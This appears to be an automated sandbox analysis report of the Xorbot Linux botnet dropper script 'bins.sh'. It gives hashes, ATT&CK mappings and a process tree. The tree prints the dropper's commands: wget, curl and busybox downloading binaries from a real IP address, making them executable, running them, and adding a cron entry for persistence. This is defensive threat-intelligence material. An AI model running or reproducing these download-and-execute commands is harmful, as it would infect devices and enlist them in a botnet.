xorbot | cd567b9f3db24e8d535579d9dc2205d9730046834635074acae74277fe2460de

Analysis

max time kernel
149s
max time network
158s
platform
debian-9_armhf
resource
debian9-armhf-20240611-en
resource tags

arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
04-12-2024 08:55

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General

Target

bins.sh
Size

10KB
MD5

ef3b5b8d03ad9b64895750001a9a9f81
SHA1

67905e0b7ab0f9251c5591a53ab0efbfbe4aba7e
SHA256

cd567b9f3db24e8d535579d9dc2205d9730046834635074acae74277fe2460de
SHA512

d3430b5354703e133e906aa7f15d186f6c5d79914f465decabb603b16269e41a7ee63647e3209ecd66c7fd619266a50b6de934825d1cbc9becc66c20398c529f
SSDEEP

96:LVc68OcK8INtzVZ7Tjl9P3/Mwyq+zVc68OcK8INuFS0AVhX7DE7PneP3/Mw0q+s+:LxzVZvjl9P3/MwyjVc2P3/Mw6

Score

10^/10

xorbot antivm botnet defense_evasion discovery execution persistence privilege_escalatio trojan

Malware Config

Signatures

Detects Xorbot 2 IoCs

botnet trojan

Processes:

resource	yara_rule
behavioral2/files/fstream-1.dat	family_xorbot
behavioral2/files/fstream-6.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot

File and Directory Permissions Modification 1 TTPs 2 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

Processes:

chmodchmod

pid	Process
689	chmod
703	chmod

Executes dropped EXE 2 IoCs

Processes:

OXVxT5hUBFD9egbouowK0UOvExtshC3jGjYgNxYZKlv3u6xMFEhctcheQmfJyTlw12G6

ioc	pid	Process
/tmp/OXVxT5hUBFD9egbouowK0UOvExtshC3jGj	690	OXVxT5hUBFD9egbouowK0UOvExtshC3jGj
/tmp/YgNxYZKlv3u6xMFEhctcheQmfJyTlw12G6	706	YgNxYZKlv3u6xMFEhctcheQmfJyTlw12G6

Renames itself 1 IoCs

Processes:

OXVxT5hUBFD9egbouowK0UOvExtshC3jGj

pid	Process
691	OXVxT5hUBFD9egbouowK0UOvExtshC3jGj

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

Processes:

crontab

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.7yAWuu	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Checks CPU configuration 1 TTPs 1 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

Processes:

curl

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

Processes:

OXVxT5hUBFD9egbouowK0UOvExtshC3jGjcurlcrontab

description	ioc	Process
File opened for reading	/proc/650/cmdline	OXVxT5hUBFD9egbouowK0UOvExtshC3jGj
File opened for reading	/proc/709/cmdline	OXVxT5hUBFD9egbouowK0UOvExtshC3jGj
File opened for reading	/proc/767/cmdline	OXVxT5hUBFD9egbouowK0UOvExtshC3jGj
File opened for reading	/proc/1/cmdline	OXVxT5hUBFD9egbouowK0UOvExtshC3jGj
File opened for reading	/proc/451/cmdline	OXVxT5hUBFD9egbouowK0UOvExtshC3jGj
File opened for reading	/proc/698/cmdline	OXVxT5hUBFD9egbouowK0UOvExtshC3jGj
File opened for reading	/proc/766/cmdline	OXVxT5hUBFD9egbouowK0UOvExtshC3jGj
File opened for reading	/proc/799/cmdline	OXVxT5hUBFD9egbouowK0UOvExtshC3jGj
File opened for reading	/proc/802/cmdline	OXVxT5hUBFD9egbouowK0UOvExtshC3jGj
File opened for reading	/proc/42/cmdline	OXVxT5hUBFD9egbouowK0UOvExtshC3jGj
File opened for reading	/proc/265/cmdline	OXVxT5hUBFD9egbouowK0UOvExtshC3jGj
File opened for reading	/proc/298/cmdline	OXVxT5hUBFD9egbouowK0UOvExtshC3jGj
File opened for reading	/proc/721/cmdline	OXVxT5hUBFD9egbouowK0UOvExtshC3jGj
File opened for reading	/proc/814/cmdline	OXVxT5hUBFD9egbouowK0UOvExtshC3jGj
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/747/cmdline	OXVxT5hUBFD9egbouowK0UOvExtshC3jGj
File opened for reading	/proc/803/cmdline	OXVxT5hUBFD9egbouowK0UOvExtshC3jGj
File opened for reading	/proc/23/cmdline	OXVxT5hUBFD9egbouowK0UOvExtshC3jGj
File opened for reading	/proc/796/cmdline	OXVxT5hUBFD9egbouowK0UOvExtshC3jGj
File opened for reading	/proc/21/cmdline	OXVxT5hUBFD9egbouowK0UOvExtshC3jGj
File opened for reading	/proc/307/cmdline	OXVxT5hUBFD9egbouowK0UOvExtshC3jGj
File opened for reading	/proc/741/cmdline	OXVxT5hUBFD9egbouowK0UOvExtshC3jGj
File opened for reading	/proc/100/cmdline	OXVxT5hUBFD9egbouowK0UOvExtshC3jGj
File opened for reading	/proc/141/cmdline	OXVxT5hUBFD9egbouowK0UOvExtshC3jGj
File opened for reading	/proc/657/cmdline	OXVxT5hUBFD9egbouowK0UOvExtshC3jGj
File opened for reading	/proc/722/cmdline	OXVxT5hUBFD9egbouowK0UOvExtshC3jGj
File opened for reading	/proc/751/cmdline	OXVxT5hUBFD9egbouowK0UOvExtshC3jGj
File opened for reading	/proc/13/cmdline	OXVxT5hUBFD9egbouowK0UOvExtshC3jGj
File opened for reading	/proc/19/cmdline	OXVxT5hUBFD9egbouowK0UOvExtshC3jGj
File opened for reading	/proc/78/cmdline	OXVxT5hUBFD9egbouowK0UOvExtshC3jGj
File opened for reading	/proc/724/cmdline	OXVxT5hUBFD9egbouowK0UOvExtshC3jGj
File opened for reading	/proc/763/cmdline	OXVxT5hUBFD9egbouowK0UOvExtshC3jGj
File opened for reading	/proc/770/cmdline	OXVxT5hUBFD9egbouowK0UOvExtshC3jGj
File opened for reading	/proc/797/cmdline	OXVxT5hUBFD9egbouowK0UOvExtshC3jGj
File opened for reading	/proc/filesystems	crontab
File opened for reading	/proc/149/cmdline	OXVxT5hUBFD9egbouowK0UOvExtshC3jGj
File opened for reading	/proc/266/cmdline	OXVxT5hUBFD9egbouowK0UOvExtshC3jGj
File opened for reading	/proc/728/cmdline	OXVxT5hUBFD9egbouowK0UOvExtshC3jGj
File opened for reading	/proc/793/cmdline	OXVxT5hUBFD9egbouowK0UOvExtshC3jGj
File opened for reading	/proc/801/cmdline	OXVxT5hUBFD9egbouowK0UOvExtshC3jGj
File opened for reading	/proc/17/cmdline	OXVxT5hUBFD9egbouowK0UOvExtshC3jGj
File opened for reading	/proc/155/cmdline	OXVxT5hUBFD9egbouowK0UOvExtshC3jGj
File opened for reading	/proc/323/cmdline	OXVxT5hUBFD9egbouowK0UOvExtshC3jGj
File opened for reading	/proc/774/cmdline	OXVxT5hUBFD9egbouowK0UOvExtshC3jGj
File opened for reading	/proc/795/cmdline	OXVxT5hUBFD9egbouowK0UOvExtshC3jGj
File opened for reading	/proc/280/cmdline	OXVxT5hUBFD9egbouowK0UOvExtshC3jGj
File opened for reading	/proc/666/cmdline	OXVxT5hUBFD9egbouowK0UOvExtshC3jGj
File opened for reading	/proc/737/cmdline	OXVxT5hUBFD9egbouowK0UOvExtshC3jGj
File opened for reading	/proc/733/cmdline	OXVxT5hUBFD9egbouowK0UOvExtshC3jGj
File opened for reading	/proc/760/cmdline	OXVxT5hUBFD9egbouowK0UOvExtshC3jGj
File opened for reading	/proc/786/cmdline	OXVxT5hUBFD9egbouowK0UOvExtshC3jGj
File opened for reading	/proc/8/cmdline	OXVxT5hUBFD9egbouowK0UOvExtshC3jGj
File opened for reading	/proc/758/cmdline	OXVxT5hUBFD9egbouowK0UOvExtshC3jGj
File opened for reading	/proc/791/cmdline	OXVxT5hUBFD9egbouowK0UOvExtshC3jGj
File opened for reading	/proc/754/cmdline	OXVxT5hUBFD9egbouowK0UOvExtshC3jGj
File opened for reading	/proc/765/cmdline	OXVxT5hUBFD9egbouowK0UOvExtshC3jGj
File opened for reading	/proc/772/cmdline	OXVxT5hUBFD9egbouowK0UOvExtshC3jGj
File opened for reading	/proc/792/cmdline	OXVxT5hUBFD9egbouowK0UOvExtshC3jGj
File opened for reading	/proc/3/cmdline	OXVxT5hUBFD9egbouowK0UOvExtshC3jGj
File opened for reading	/proc/27/cmdline	OXVxT5hUBFD9egbouowK0UOvExtshC3jGj
File opened for reading	/proc/644/cmdline	OXVxT5hUBFD9egbouowK0UOvExtshC3jGj
File opened for reading	/proc/658/cmdline	OXVxT5hUBFD9egbouowK0UOvExtshC3jGj
File opened for reading	/proc/809/cmdline	OXVxT5hUBFD9egbouowK0UOvExtshC3jGj
File opened for reading	/proc/810/cmdline	OXVxT5hUBFD9egbouowK0UOvExtshC3jGj

Writes file to tmp directory 4 IoCs

Malware often drops required files in the /tmp directory.

Processes:

busyboxbusyboxwgetcurl

description	ioc	Process
File opened for modification	/tmp/OXVxT5hUBFD9egbouowK0UOvExtshC3jGj	busybox
File opened for modification	/tmp/YgNxYZKlv3u6xMFEhctcheQmfJyTlw12G6	busybox
File opened for modification	/tmp/OXVxT5hUBFD9egbouowK0UOvExtshC3jGj	wget
File opened for modification	/tmp/OXVxT5hUBFD9egbouowK0UOvExtshC3jGj	curl

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:658
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:662
- /usr/bin/wget
  wget http://216.126.231.240/bins/OXVxT5hUBFD9egbouowK0UOvExtshC3jGj
  2⤵
  - Writes file to tmp directory
  PID:665
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/OXVxT5hUBFD9egbouowK0UOvExtshC3jGj
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:680
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/OXVxT5hUBFD9egbouowK0UOvExtshC3jGj
  2⤵
  - Writes file to tmp directory
  PID:687
- /bin/chmod
  chmod 777 OXVxT5hUBFD9egbouowK0UOvExtshC3jGj
  2⤵
  - File and Directory Permissions Modification
  PID:689
- /tmp/OXVxT5hUBFD9egbouowK0UOvExtshC3jGj
  ./OXVxT5hUBFD9egbouowK0UOvExtshC3jGj
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:690
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:692
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:693
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:694
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      Reads runtime system information
      PID:695
- /bin/rm
  rm OXVxT5hUBFD9egbouowK0UOvExtshC3jGj
  2⤵
  PID:697
- /usr/bin/wget
  wget http://216.126.231.240/bins/YgNxYZKlv3u6xMFEhctcheQmfJyTlw12G6
  2⤵
  PID:700
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/YgNxYZKlv3u6xMFEhctcheQmfJyTlw12G6
  2⤵
  PID:701
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/YgNxYZKlv3u6xMFEhctcheQmfJyTlw12G6
  2⤵
  - Writes file to tmp directory
  PID:702
- /bin/chmod
  chmod 777 YgNxYZKlv3u6xMFEhctcheQmfJyTlw12G6
  2⤵
  - File and Directory Permissions Modification
  PID:703
- /tmp/YgNxYZKlv3u6xMFEhctcheQmfJyTlw12G6
  ./YgNxYZKlv3u6xMFEhctcheQmfJyTlw12G6
  2⤵
  - Executes dropped EXE
  PID:706
- /bin/rm
  rm YgNxYZKlv3u6xMFEhctcheQmfJyTlw12G6
  2⤵
  PID:708
- /usr/bin/wget
  wget http://216.126.231.240/bins/a0wubK2TzV0i7LK0iHvF93vpMmsRUZHzE9
  2⤵
  PID:709

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

/tmp/OXVxT5hUBFD9egbouowK0UOvExtshC3jGj

Filesize
119KB

MD5
1b166b95f9cb4b079ef1b9ec8363ddf3

SHA1
0d8eb08add467b3b5474f9b25909297fe7c2839c

SHA256
94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

SHA512
983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

Download Submit
/tmp/YgNxYZKlv3u6xMFEhctcheQmfJyTlw12G6

Filesize
112KB

MD5
05d7857dcead18bbd86d2935f591873c

SHA1
34d18f41ef35f93d5364ce3e24d74730a4e91985

SHA256
2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

SHA512
d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

Download Submit
/var/spool/cron/crontabs/tmp.7yAWuu

Filesize
210B

MD5
bbbc4f15a2c110ddc72656ce1f4d9609

SHA1
8bafc9e8b75f9d98e7cbf8993ef8f9532c7410b5

SHA256
6e92c9008fc5f4bd4db14914fe85c82feef5abce992396640a4cea621b2bd5e7

SHA512
7f3af90986bb977bca6471e54a4b97e7ec9a06e6b5212bda65cae59aac8512475dfb1c65cb0e3c53a83c6b18e880f8c793a8b08871a998239c149b0d1d97a1c6

Download Submit